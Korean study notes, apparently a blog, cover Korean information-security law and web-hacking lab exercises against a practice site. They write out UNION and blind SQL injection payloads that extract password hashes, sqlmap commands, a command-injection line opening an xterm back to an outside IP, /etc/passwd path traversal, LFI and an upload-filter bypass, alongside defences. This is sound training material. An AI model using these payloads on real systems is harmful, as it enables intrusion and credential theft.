320x100

정보보호 법 제도

법 체계 분류

  • 영미법(Common Law)

- 영국과 미국의 법

- 과거에 내린 판결은 법과 같은 구속력을 지니고 이후 비슷한 사건의 판결은 선례에 구속(판례법)

  • 대륙법 (Civil Law)

- 로마법에서 발전한 유럽 대륙의 법

- 대표적인 대륙법 국가 : 프랑스, 독일

- 법전에 쓰여 있는 법에 근하여 판결(성문법)

(→ 개인정보보호라는 글자 그대로 있어야 처벌이 가능하다 / 한 공무원이 민원인이 너무 이뻐서 사적으로 연락을 했는데 그 공무원은 개인정보보호 대상이 아니라 무죄 판결을 받음)

 

법체계

헌법 -> 법률 -> 시행령 -> 시행규칙,고시

 

법률(개인정보보호법, 위치정보보호법, 정보통신기반보호법)

시행령(개인정보보호법 시행령)

 

*상위법 우선, 신법 우선, 특별법 우선

 

데이터에 관한 법률 3법이 개정을 통해 개인정보보호법으로 합쳐졌다.

(정보통신기반 이용촉진 및 정보보호 등에 관한 법률 + 개인정보보호법 + 신용정보의 이용 및 보호에 관한 법률)  = 개인정보보호법

 

국내 주요 보안사고

싸이월드 (무료 소프트웨어 업데이트 서버를 이용한 공격)

관리자가 새벽에 업데이트를 걸어놓고 퇴근을 한 사이에 일어난 공격으로 관리자의 부재

-> 개인정보취급자의 접속이 필요한 시간 동안만 최대 접속시간 제한 등의 조치를 취하여야 한다.

 

홈플러스 (개인정보 2400만 여건을 보험사에 231억 7000만원에 판매) 

개인정보에 관한 동의 여부를 1mm 글씨크기로 깨알고지 

-> 글씨의 크기는 최소한 9포인트 이상으로 다른내용보다 20퍼센트 이상 크게하여 알아보기 쉽게 할 것

 

정보통신망 이용촉진 및 정보보호 등에 관한 법률

제1장 총칙 목적, 정의, 정보통신서비스 제공자 및 이용자의 책임, 정보보호 등에 관한 시책, 다른 법률과의 관계
제2장 정보통신망의 이용촉진 기술개발의 추진, 기술관련 정보의 관리 및 보관, 정보통신망의 표준화 및 인증, 인증기관의 지정 등
제3장 삭제  
제4장 정보통신서비스의 안전한 이용환경 조성 접근권한에 대한 동의, 주민등록번호의 사용 제한, 본인확인기관의 지정 등, 국내 대리인의 지정
제5장 정보통신망의 이용자 보호 청소년 보호 등
제6장 정보통신망의 안전성 확보 등 정보보호 사전점검, 정보보호 책임자의 지정 등, 집적정보통신시설의 보호, 정보보호 관리체계의 인증, 침해행위 등의 금지, 영리목적의 광고성 정보 전송 제한 등
제7장 통신과금서비스 통신과금서비스
제8장 국제협력 국제협력
제9장 보칙 자료의 제척, 비밀유지 등
제10장 벌칙 발칙, 양벌규정, 물수 추징, 과태료

 

제 1장 총칙

(목적) 정보통신망의 이용을 촉진하고 정보통신서비스를 이용하는 자를 보호함과 아울러 정보통신망을 건전하고 안전하게 이용할 수 있는 환경을 조성하여 국민생활의 향상과 공공복리의 증진에 이바지함을 목적으로 한다.

 

침해행위의 금지

누구든지 정당한 접근권한없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다.

(공부할때는 자기가 만든 샌드박스에서 하거나, 워게임 사이트에서만 해야함)

 

광고성 정보 전송 제한

제 6장 정보통신망의 안전성 확보 등 ->제50조(영리목적의 광고성 정보 전송 제한)

3항) 오후 9시부터 그 다음 날 오전 8시까지의 시간에 전자적 전송매체를 이용하여 영리목적의 광고성 정보를 전송하려는 자는 제1항에도 불구하고 그 수신자로부터 별도의 사전 동의를 받아야 한다.

 

7항) 전자적 전송매체를 이용하여 영리목적의 광고성 정보를 전송하려는 자는 수신자가 제1항에 따른 사전 동의, 제 2항에 따른 수신거부의사 또는 수신동의 철회 의사를 표시할 때에는 해당 수신자에게 대통령령으로 정하는 바에 따라 수신동의, 수신거부 또는 수신동의 철회에 대한 처리 결과를 알려야 한다.

 

8항) 제1항 또는 제3항에 따라 수신동의를 받은 자는 대통령령으로 정하는 바에 따라 정기적으로 광고성 정보 수신자의 수신동의 여부를 확인하여야한다.

 

개인정보보호법

제1장 총칙 

제1조 (목적) 개인정보의 처리 및 보호에 관한 사항을 정함으로써 개인의 자유와 권리를 보호하고, 나아가 개인의 존엄과 가치를 구현

 

제2조 (정의) 개인정보란 살아 있는 개인에 관한 정보로서 다음 각 목의 어느 하나에 해당하는 정보를 말한다.

살아있는 개인에 관한 정보 (개인을 알아볼 수 있는 정보, 성명, 주민등록번호 및 영상 등, 결할하여 알아볼 수 있는 정보, 가명정보)

*(가명정보도 합쳐지면 개인이 식별이 된다)

 

CC인증

(개요) 보안기능이 있는 IT제품의 보안성을 평가기관에서 평가하고 이에 대한 결과를 인증기관에서 인증하는 제도

 

PDCA

PDCA는 "Plan-Do-Check-Act"의 약자로, 지속적인 개선을 위한 관리 사이클을 나타냅니다. 이 방법론은 주로 품질 관리 및 프로젝트 관리를 위해 사용됩니다. 각 단계는 다음과 같은 의미를 가집니다.

  1. Plan (계획): 목표를 설정하고 이를 달성하기 위한 계획을 수립합니다. 문제를 분석하고 해결책을 마련하는 단계입니다.
  2. Do (실행): 계획한 내용을 실제로 실행합니다. 이 단계에서는 계획한 대로 작업을 수행하며, 필요한 데이터를 수집합니다.
  3. Check (점검): 실행 결과를 평가하고, 목표에 대한 성과를 확인합니다. 이 단계에서는 수집한 데이터를 분석하여 계획과 비교합니다.
  4. Act (행동): 점검 결과를 바탕으로 개선 사항을 도출하고, 필요한 경우 계획을 수정하거나 새로운 계획을 수립합니다. 이 단계는 다음 사이클의 시작점이 됩니다.

PDCA 사이클은 지속적인 개선과 문제 해결을 위한 체계적인 접근 방식을 제공하여, 조직의 효율성을 높이는 데 도움을 줍니다.


APT (Advanced Persistent Threat)

  • 특정 target을 목표로 하여 다양한 수단을 통한 지속적이고 지능적인, 맞춤형 공격

침투과정

  • 사회공학 기법 (심리적 접근, 케빈 미트닉은 사회공학기법의 대가였다)
  • 웹 공격
  • 시스템 공격
  • 네트워크 공격, 어플리케이션 공격

("핑 오브 데스(Ping of Death)"는 네트워크 공격의 한 형태로, 공격자가 과도하게 큰 ICMP(Internet Control Message Protocol) 패킷을 전송하여 대상 시스템의 리소스를 고갈시키고, 시스템을 다운시키는 방식입니다.)

대응방안

기밀성, 무결성, 가용성

 

접근제어

  • 식별 (Identification) - 사용자가 자신의 신원정보를 밝히는 행위
  • 인증 (Authentication) - 신원정보/신원확인의 유효성 확립

인증유형(stn to know, to have, you are, to behave)

인증프로토콜 (kerberos, sesami, ldap)

개방형 보안 표준 (saml, oauth, x.509)

  • 인가 (Authorization) - 사용자에게 자원에 대한 접근을 허용하거나, 어떤 수준의 권한과 서비스를 부여

원리 (최소권한, 직무분리)

정책 (mac/dac/rbac)

정책 모델 (biba, bell-lapadula, clark wilson)

MFA, MCA

하나의 인증만으로는 보안수준을 높이는데 한계가 있어 2가지 이상의 인증 수단을 동시에 사용 

  • MFA (Multi Factor Authentication) - Type 1 ~4 인증 유형 중 2가지 이상을 혼용
  • MCA (Multi Channel Authentication) - 인증 경로를 2가지 이상 혼용

 

300x250
320x100

Cross Site Script Process

 


SQL INJECTION - server side attack

공격자가 입력한 데이터에 대한 유효성을 점검하지 않아 DB 쿼리문이 변경 되어 부적절한 SQL 명령을 수행할 수 있는 공격이다

-> 데이터베이스의 내용을 웹상으로 쭉 유출시키는 공격기법

-> 커멘드명령, DB 내용, 서버 컨트롤 장악 하는 공격

 

** XSS 는 클라이언트쪽 사용자 권한을 획득하는 사용자의 패스워드, 정보를 바꾸는 형태이다.

 

SQL INJECTION 종류

  • Union (옛날 공격기법) - 실습예정
  • Error Based (옛날 공격기법)
  • Blind SQL (최근 가장 많이 발생하는 취약점) - 실습예정
  • Stored Procedure based

SQL 인젝션 취약점이 존재할 경우, 공격자는 xp_cmdshell과 같은 확장 프로시저를 통해 서버의 운영 체제에 대한 불법적인 접근을 시도할 수 있다.

 

공격 유형 : DB 정보 열람, DB 정보 변경/삭제, 커맨드 명령 실행, 파일 생성 및 실행

 

SQL대표적인 커맨드 : select, update, delete, insert

 

  • Union

'or''=’  (조건을 항상 참으로 만든다.)

아이디 / 비밀번호에 동일하게 입력한다.

실행결과

Check for vulnerability



Check for UNION function (no값이 유효하지 않아야 원하는 값 출력)

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,4,5,6,7%23

프로그램에서 1 5 7은 출력은 하라는 소스가 스크립트에 없기 떄문에 출력이 되지 않는다.

 

 

 


Check for MySQL version

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,@@version,5,6,7%23

 


공격 프로세스

information schema에서 table name 뽑아옴 → 실제 member table의 아이디, 패스워드를 뽑음

 

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 0,1%23 <--- no

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 1,1%23 <--- id

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='member' limit 2,1%23 <--- pass

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 0,1%23 <-- admin,

*A4B6157319038724E3560894F7F932C8886EBFCF

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 1,1%23<-- guest,

  • A4B6157319038724E3560894F7F932C8886EBFCF


  • Blind SQL

데이터베이스 결과가 외부에 출력되지 않고(ex> 로그인 서비스), 서버 내부적으로만 처리되는 구조에서 SQL Injection 기법을 통해 데이터베이스에 존재하는 값을 알아내는 공격 방식이다.

 

일반적으로 참/거짓을 이용하여 데이터를 얻어온다.

ex> 로그인 성공 -> 참, 로그인 실패 -> 거짓

 

  • Union INJECTION → 덩어리채 뽑음

 

  • Blind INJECTION → 글자 하나씩 대조

예를 들어 s라는글자를 뽑아오고 → i 뽑고 .. → g 뽑고

(a부터 쭉 집어넣고 한글자씩 대조를 해서 요청을 한다.

 

** Union select보다 훨씬 서버쪽으로 요청하는 쿼리의 양이 많아질수 밖에 없다.

 

 

 

 

노가다로 한단어씩 추출한다. 단어가 맞을 경우 통과되고 아닐경우 에러메시지가 올라온다.

아래와 같이 ID에 SQL query / PASSWORD 1234 또는 아무거나 입력하고 로그인을 시도

 

// Database 이름 크기 추출
id : kioo' and length(DATABASE()) < 12##  (T)
id : kioo' and length(DATABASE()) = 10##  (F)
id : kioo' and length(DATABASE()) = 8##  (freehack, T)
id : kioo' and length(DATABASE()) < 7##  (F)


// Database 이름 추출
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) < 102##  (F)
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) = 102##    -> f
id : kioo' and ASCII(SUBSTRING((DATABASE()),2,1)) = 114##    ->r
id : kioo' and ASCII(SUBSTRING((DATABASE()),3,1)) = 101##    -> e

// Table 이름 추출
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) = 98##  -> b
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),2,1)) = 111## -> o
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),3,1)) = 97## -> a

kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),1,1)) = 109##  -> m
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),2,1)) = 101## -> e

 


// 컬럼명 추출
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##
test' or ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) = 110## ->n
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),2,1)) = 111## ->o


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),1,1)) = 105## ->i
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),2,1)) = 100## -> d

kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),1,1)) = 112## ->p
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),2,1)) = 97## -> a
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),3,1)) = 115## -> s
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),4,1)) = 115## ->s

// 패스워드 추출(1) *4ACFE3202A5FF5CF467898FC58AAB1D615029441

kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) = 42## ->*
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),2,1)) = 52## -> 4

// 패스워드 추출(2)
id : kioo' and (ASCII(substring(pass,1,1))=42) ##            ->----------- 42 는 * 임
pw : 아무거나  
* C8D060EB2D0AEFC164BE22E2F8A52C0E99AF19A9

id : kioo' and (ASCII(substring(pass,2,1))=67) ##            ->---------- 67 는 C 임
pw : 아무거나

id : admin' and (ASCII(substring(pass,1,1))=42)## ->----------- 42 는 * 임
pw : 아무거나
*A4B6157319038724E3560894F7F932C8886EBFCF


폰트 스캐너 (사용 주의)

"폰트 스캐너"라는 용어는 일반적으로 웹사이트나 애플리케이션에서 사용되는 폰트를 분석하고 식별하는 도구나 기술을 의미할 수 있습니다. 폰트 스캐너는 웹페이지에서 사용된 폰트의 종류와 스타일을 추출하여 이를 보여주는 기능을 가집니다.

 

nmap -v -A freehack.bug

 


SQL MAP

https://sqlmap.org/ 접속후 오른쪽에 다운로드 zip파일 다운

https://github.com/sqlmapproject/sqlmap/zipball/master

sqlmap.py --shell

u "http://freehack.bug/?main=/board/board_view.php3&no=232" --dbs

u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack --tables -u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack -T member --columns

u "http://freehack.bug/?main=/board/board_view.php3&no=232"


XPATH INJECTION

조작된 XPath(XML Path Language) 쿼리를 보냄으로써 비정상적인 데이터를 쿼리해 올 수 있는 취약점으로, XML 문서에 데이터를 저장하는 웹사이트는 사용자가 입력한 내용의 데이터를 찾기 위해 XPath를 사용 하고, 이런 입력이 필터링이나 보안을 고려하지 않은 채 XPath 쿼리 안에 입력된다면 웹사이트의 로직을 손상시키거나 특정 데이터를 추출할 수 있게 된다.

 

-> XPath 인젝션은 사용자가 입력한 데이터가 제대로 검증되지 않을 때 발생하는 취약점으로, 이로 인해 공격자는 웹사이트의 데이터를 유출하거나 조작할 수 있게 됩니다.

 

http://freehack.bug/XML/

대응 방안

-> 입력 값 검증 필요

-> XPATH parameterized 사용

 


Command INJECTION

-> 프로그램이 외부에서 입력 받은 시스템 명령어를 검증하지 않고 실행하는 경우 의도하지 않은 시스템 명령어가 실행될 수 있는 취약점이다.

  • 공격 유형 -> 부적절한 권한 변경 ->시스템 권한 획득 -> 시스템 동작/운영에 악영향

개발자가 리눅스나 관련 명령어 프로그램을 짜는데 웹상에서 커멘드를 쉽게 찾을 수 있게 해논 것

 

리버스 텔넷 / SS터널링 / DNS 터널링

  • 리버스텔넷

리버스 텔넷(Reverse Telnet)은 일반적으로 원격 장치와의 통신을 위해 사용하는 텔넷(Telnet) 프로토콜의 변형입니다. 이 기술은 특정 장치에 대한 원격 접근을 가능하게 하며, 주로 네트워크 장비나 IoT(사물인터넷) 디바이스에서 사용됩니다.

아래 사진에 넣기

ls ; xterm -display 192.168.1.40:1.0 &

  • 정상적으로 텔넷 거는게 아니라 서버쪽에서 클라이언트 피씨 쪽으로 텔넷을 건다

 가급적 시스템 명령어 사용 금지  외부에서 전달되는 데이터와 조합 금지  필터링을 통한 다중 명령 실행 금지

 


파라미터 조작

  • 웹 어플리케이션 상에 존재하는 모든 실행경로에 대해서 접근제어를 검사하지 않거나 미흡한 경우 공격자가 접근 가능한 실행경로를 통해 사용자의 정보를 유출 하거나 일시적인 권한 상승이 가능한 취약점.
  • URL/파라미터 변조의 경우 불충분한 인증 및 인가 취약점과 유사하지만 프로세스 검증을 우회하는 것 이외에 사용자 입력 값에 대한 검증 누락이 발생하는 모든 상황을 포함하고 있으므로 SQL 인젝션, 불충분한 인증 및 인가, 크로스 사이트 스크립트 (XSS) 공격에 활용될 수 있음

네이버 카페 같은 곳에서 운영자가 이 Query를 통해 게시글을 최상단(공지)으로 고정 시킬 지 정한다 → 취약점 발생 -> web proxy tool을 통한 쿼리를 조작해서 내 마음대로 최상단에 내 게시글을 고정할 수 있음

 

http://freehack.bug/member/member_modify2.html?id=test

http://freehack.bug/member/member_modify2.html?id=admin

 

인증권한 체크 부실로 발생함

관리자권한으로 바꿀 수 있음

웹 어플리케이션에서 제공하는 정보와 기능을 역할에 따라 배분함으로써 사용자가 변경할 수 있는 데이터의 노출을 최소화하는 것이 필요하며, 서버로 전송된 사용자 입력 값의 경우 세션 및 데이터베이스와 비교를 하여 데이터가 변조되었는지 검증할 수 있는 과정을 구현해야 함

세션을 가지고 인증체크를 하라는 말


IT정보보호 구축 가이드 - sk 쉴더스 발행 3.0 나옴


FILE UPLOAD

파일이 첨부되서 올라오는지를 잘 확인해야함 - 공격자는 웹 쉘을 업로드해서 모든 정보를 열람 가능하게 만들 수 있다.

  • 취약점 설명 

-> 파일 업로드 취약점이랑 서버에 파일이 업로드 되는 기능을 이용하여, 업로드 된 파일을 웹 서버에 요청할 때, 웹 서버가 Server Side Script로 해석하여 생기는 취약점

-> 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버 에 업로드 하는 공격 

 

  • 공격 유형

1. WebShell 업로드 

2. DOS(Disk Full)

3. 시스템 권한 획득

 

 

이 표는 APM 스택을 포함한 웹 서버, 데이터베이스, 서버 사이드 스크립트 및 파일 확장자를 간단히 정리한 것입니다. 각 웹 서버와 그에 대응하는 데이터베이스 및 스크립트 언어의 조합을 보여줍니다.

 

 

  • 악성파일 업로드

공격 시나리오 : 웹쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있음

파일 업로드 공격은 1.파일이 업로드 되어야 하고 2.업로드 경로를 알 수 있어야 하고, 3.실행 권한이 있어 실행시킬 수 있어야 함


 

웹사이트 게시글 작성 할때 php 파일을 업로드 하지 못하게 막아놨다. -> 코드를 통해 확장자 파일이 . 으로 구분이 된다는 것을 알았다

그래서 앞에 .jpg 를 사용함으로써 코드의 헛점을 노려 우회할 수 있다.

 

 

 

아래의 사진은 유명한 C99Shell(웹쉘)화면

 

 


FILE DOWNLOAD

파일 다운로드 취약점이란 서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여, 정해진 파일이 아닌 다른(시스템 파 일, 소스 코드 등)파일을 다운로드 받을 수 있는 취약점이다.

다른파일은 시스템파일(etc의 패스워드 파일, hosts 파일 같이 없어서는 안되는 파일들) 이나 소스 코드가 될 수 있다.

개발자가 의도하지않게 다른 파일을 의도하는 것

 

**커멘드 인젝션- 개발자가 의도하지않게 다른 파일도 같이 수행하는 것

 

기존 URL

http://freehack.bug/board/board_down.php3?file_name=c99.php

 

공격 실행

URL에 아래와 같이 작성하면 루프가 돌면서 etc/passwd 파일을 받을 수 있음

http://freehack.bug/board/board_down.php3?file_name=/../../../../../../etc/passwd 


 

./ 를 강제로 지우는 아래와 같은 코드가 있으면 

-> ..// 이런식으로 두번 적으면 ./ 가 지워져도 ./ 한묶음이 남기 때문에 우회할 수 있다.

 

공격 유형

  • 소스 코드 유출 - 어느정도 경로를 알아야지 할 수 있음
  • 중요 파일 유출
  • 데이터베이스 정보 유출 - 디비 연결정보 파일
  • DownLoad 취약점
  • 저장된 경로 찾기(이미지/에러베이스 등)
  • 필터링 우회 • 대응 방앆
  • 필터링을 통한 차단
  • 직접 링크보다는 간접링크 사용 • 갂접 링크를 통한 필터링 및 접근 제어(악성코드/FlashGet 등)

 

개발자가 의도하지 않는 행위를 할 수 있는 것


INCLUSION ATTACK

페이지를 렌더링 할 때 웹 페이지에 동적으로 포함되는 INCLUDE 파일 을 사용하면 한 콘텐츠를 사이트의 여러 페이지에 쉽게 포함시킬 수 있는 기능을 악용하여 사용할 수 있는 취약점이다.

 

->INCLUDE 파일은 웹 페이지에서 공통 콘텐츠를 쉽게 재사용할 수 있도록 도와주지만, 잘못 사용하면 보안 취약점이 생길 수 있습니다. 공격자가 악의적인 코드를 포함한 파일을 서버에 업로드하고 이를 INCLUDE하면, 사용자에게 악성코드가 실행될 수 있습니다. 따라서 INCLUDE 파일 사용 시 보안에 주의해야 합니다.

 

Include/require/require_ once/include_ once

  • RFI - Remote File inclusion

외부에 존재하는 컨텐츠를 동적 로드 가능

allow_url_fopen 허용 시 동작

http/ftp 등 다양한 프로토콜 지원

외부 서비스(블로그, 카페, 자료실 등)를 통한 공격 가능

원격에 있는 파일을 사용해서 명령을 수행

  • LFI - Local File inclusion → 로컬에 있는 파일을 인크루드 시켜서 발생하는 취약점

내부에 존재하는 컨텐츠를 동적으로 로드 가능.

  • Log 파일, 홖경 변수, 자료실 등 이용.

http://freehack.bug/?main=/data/cmd.txt&cmd=id

 

인클루드 함수를 잘못써서 외부나 내부에 있는 함수를 잘못 인클루드해서 프로그램이 실행되는 것


기타 웹공격 기법

관리자페이지 노출

  • 아래와 같이 추측하기 쉬운 관리자 페이지는 가급적 피하도록 한다. 이런식으로 관리자 페이지 접속하고 → SQL INJECTION

http://admin.victim.comhttp//www.victim.com/admin

http://www.victim.com/manager/http://www.victim.com/master/http://www.victim.com/system

 

사용자 인증 부재 취약점

http://freehack.bug/admin/member/**member_list..php3**

유추할 수 있는 이름으로 지정하면 찍어서 맞출 수 있다.


이용자 인증정보 재사용

▪ 개요 : 세션 값을 훔쳐 타 사용자 이용 환경에서 사용 시 훔친 세션 값의 인증 및 권한을 그대로 가지고 있는 취약점/공격

▪ 예상 가능 공격 : 타 사용자 권한 탈취 후 서비스에 따른 공격 예) 금융 앱에서 피해자의 계좌에서 공격자의 계좌로 송금

▪ 취약점 확인 방법 : 세션값을 복사 후 타 PC 에서 사용해보고 복수의 위치에 서 세션값이 사용 가능한지 확인

▪ 보안 방법 ➢ 처음 세션 발급 시 IP정보를 세션 변수에 담아 두었다가 이 후 동일한 세션값을 가지는 클라이언트가 접속 시에 비교함 ➢ 금융기관에서는 내부망 IP 정보도 세션을 나누어 분배하므로 클라이언트/서버 프로그램을 설치하여 MAC주소 비교하여 세션 재 사용 취약점에 대응함 ➢ 중복 로그인을 차단

  • 유추가능한 인증정보 이용(세션), 불충분한 세션종료 처리 말로 설명 • 고정된 인증정보 재사용


TEST 준비

 

1번 GET POST 메소드

 

2번 응답값 200ok 

 

3번 File download 취약점 

 

4번 CSRF  SSRF

 

5 ???

300x250
320x100
  • 윈도우서버 2019 설치

윈도우 서버 2019는 마이크로소프트에서 개발한 서버 운영 체제입니다. 이 운영 체제는 다양한 서버 기반의 작업을 수행하기 위해 설계되었으며, 기업 및 기관에서 주로 사용됩니다.

 

* 가상 머신(VMware)에서 Player -> manage -> virtual machine setting - CD/DVD - use ISO image file - > browser → 다운 받은 Window 2019 ISO파일 선택

  • IIS 설치

IIS(Internet Information Services)는 마이크로소프트의 웹 서버 소프트웨어입니다. 이를 통해 웹 사이트를 호스팅하고, 웹 애플리케이션을 운영할 수 있습니다. IIS를 설치하면 웹 서버 기능을 사용하여 다양한 웹 서비스를 제공할 수 있습니다.

  • MSSQL 2019 설치

MSSQL(마이크로소프트 SQL 서버)은 데이터베이스 관리 시스템(DBMS)으로, 데이터베이스를 생성하고 관리하는 데 사용됩니다. MSSQL 2019는 최신 버전 중 하나로, 다양한 데이터 저장 및 처리 기능을 제공합니다. 이를 통해 애플리케이션에서 데이터를 효율적으로 관리할 수 있습니다.

 

이 세 가지 요소는 함께 사용되어 웹 애플리케이션을 구축하고 운영하는 데 필요한 기본적인 인프라를 제공합니다. 예를 들어, IIS에서 웹 사이트를 호스팅하고, MSSQL에서 데이터를 관리함으로써 동적인 웹 서비스를 제공할 수 있습니다.

 


Web proxy tool (burp suite)

프록시설정 -> 프록시 서버 사용 켬 

 

로컬 리스트 127.0.0.1

포트 8080

 

웹브라우저에서 요청시 burp suite 로 인터셉트 -> 코드 점검&수정 -> forward -> 브라우저 접속

 

* 만약 8080 포트를 다른곳에서 사용하고 있으면 충돌이 나서 burp suite가 정상작동 되지 않을 수 있다. → 8080 포트에 연결되어 있는 프로그램을 내리거나 포트를 임의로 정해서 바꿔줄 수 있다.

 

proxy- options - proxy listener - edit 8080포트를 예를들어 8888 으로 바꾼다. 이렇게 변경 할 경우, 수동 프록시 설정 포트도 동일한 값으로 바꿔야한다.

 


WAR GAME

  • 클라이언트 사이드에서 해결하는법

브라우저 요청 -> burp suite 인터셉트 -> 코드 수정 -> forward -> 통과

 

  • 서버 사이드에서 해결하는법

브라우저 요청 -> 새로고침 -> burp suite 인터셉트 -> HTML 코드 수정 -> forward -> 통과

 


OWASP TOP 10

Open Web Application Security Project에 따라 악용가능성, 탐지가능성 및 영향에 대해 빈도수가 높고 보앆상 영향을 크게 줄 수 있는 10가지 웹 애플리케이션 보앆 취약점 목록

  • A01 : Broken Access Control (접근 권한 취약점)
  • A02 : Cryptographic Failures (암호화 오류)
  • A03: Injection (인젝션)
  • A04: Insecure Design (안전하지 않은 설계)
  • A05: Security Misconfiguration (보안설정오류)
  • A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
  • A07: Identification and Authentication Failures (식별 및 인증 오류)
  • A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
  • A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
  • A10: Server-Side Request Forgery (서버 측 요청 위조)

CROSS SITE SCRIPT(XSS)

 

사용자 요청에 의해 검증되지 않은 외부 입력 데이터(악의적/부적절한 스크립트)가 포함된 동적 웹페이지가 생성/전송되는 경우, 사용자가 해 당 동적 웹페이지를 열람함으로써 웹페이지에 포함된 악의적/부적절한 스크립트가 실행되는 공격이다.

- 악의적인 사용자가 게시글을 업로드하고 관리자가 게시글을 읽으면 cookies값이 해커에게 넘어간다. 

 

공격 시나리오

  • 사용자의 개인정보 탈취 : Keylogger 형태의 스크립트를 사용하여 키보드 입력값 탈취
  • 사용자의 쿠키정보 탈취 : document.cookie를 사용하여 해당 사용자의 쿠키/세션값 탈취
  • 악성코드 다운로드 또는 실행 : 악성코드 다운로드 링크 연결, 낮은 보안 수준에서의 자동실행
  • 피싱 사이트로 강제 이동 : location.href 등을 사용하여 페이지 강제 이동

*토막상식 : drm은 문서가 외부로 유출되었을때 열리지 않게 암호화를 하는 것

 

공격종류

 

Reflected XSS (반사형 크로스사이트 스크립팅),

Stored XSS (저장형 크로스사이트 스크립팅),

DOM Based XSS (DOM 기반 크로스사이트 스크립팅)

 

 


Stored XSS (저장형 크로스사이트 스크립팅)  - 서버와 통신 // 게시판에 삽입

 

악성 스크립트가 서버에 저장된 후, 다른 사용자가 해당 스크립트가 포함된 데이터를 요청할 때 실행되는 공격 방식입니다. 이 유형의 XSS는 일반적으로 데이터베이스에 사용자 입력이 저장되는 경우 발생합니다.

 

공격 과정

  1. 악성 스크립트 입력: 공격자는 웹 애플리케이션의 입력 필드(예: 댓글, 게시물, 프로필 등)에 악성 JavaScript 코드를 포함하여 데이터를 입력합니다. 예를 들어, <script>alert('XSS');</script>와 같은 코드를 입력할 수 있습니다.
  2. 서버에 저장: 입력된 데이터는 서버의 데이터베이스에 저장됩니다. 이때, 입력 값에 대한 검증이나 인코딩이 이루어지지 않으면, 악성 스크립트가 그대로 저장됩니다.
  3. 다른 사용자 요청: 이후 다른 사용자가 해당 데이터에 접근할 때(예: 댓글 목록 보기), 웹 애플리케이션은 저장된 데이터를 불러와 웹 페이지에 표시합니다.
  4. 스크립트 실행: 사용자의 브라우저는 페이지를 렌더링하면서 저장된 악성 스크립트를 실행하게 됩니다. 이를 통해 공격자는 사용자 세션 정보, 쿠키, 기타 민감한 정보를 탈취할 수 있습니다.

Reflected XSS (반사형 크로스사이트 스크립팅) - 서버와 통신 // 파라미터에 삽입

 

공격자가 악성 스크립트를 포함한 URL을 생성하고 이를 사용자가 클릭하게 하여, 해당 스크립트가 웹 페이지에서 실행되도록 하는 공격 방식입니다

 

사용자의 브라우저는 이 페이지를 로드하면서 악성 스크립트를 실행하게 됩니다. 반사형 XSS의 주요 특징은 악성 코드가 서버에 저장되지 않고, 요청과 응답 과정에서 즉각적으로 반사된다

 

 


DOM Based XSS (DOM 기반 크로스사이트 스크립팅) - 서버와 통신하지 않는다

 

DOM Based XSS(=type-0 XSS)는 피해자의 브라우저에서 DOM 환경을 수정하여 클라이언트 측 코드가 예상치 못한 방식으로 공격 구문이 실행되는 XSS(Cross Site Scripting) 공격입니다. 즉, 페이지 자체(HTTP 응답)는 변경되지 않지만, 페이지에 포함된 클라이언트 측 코드는 DOM환경에서 발생한 악의적인 변조로 인해 공격 구문이 실행됩니다.

 

  • 브라우저 자체에서 DOM을 통해서 실행이 된다.
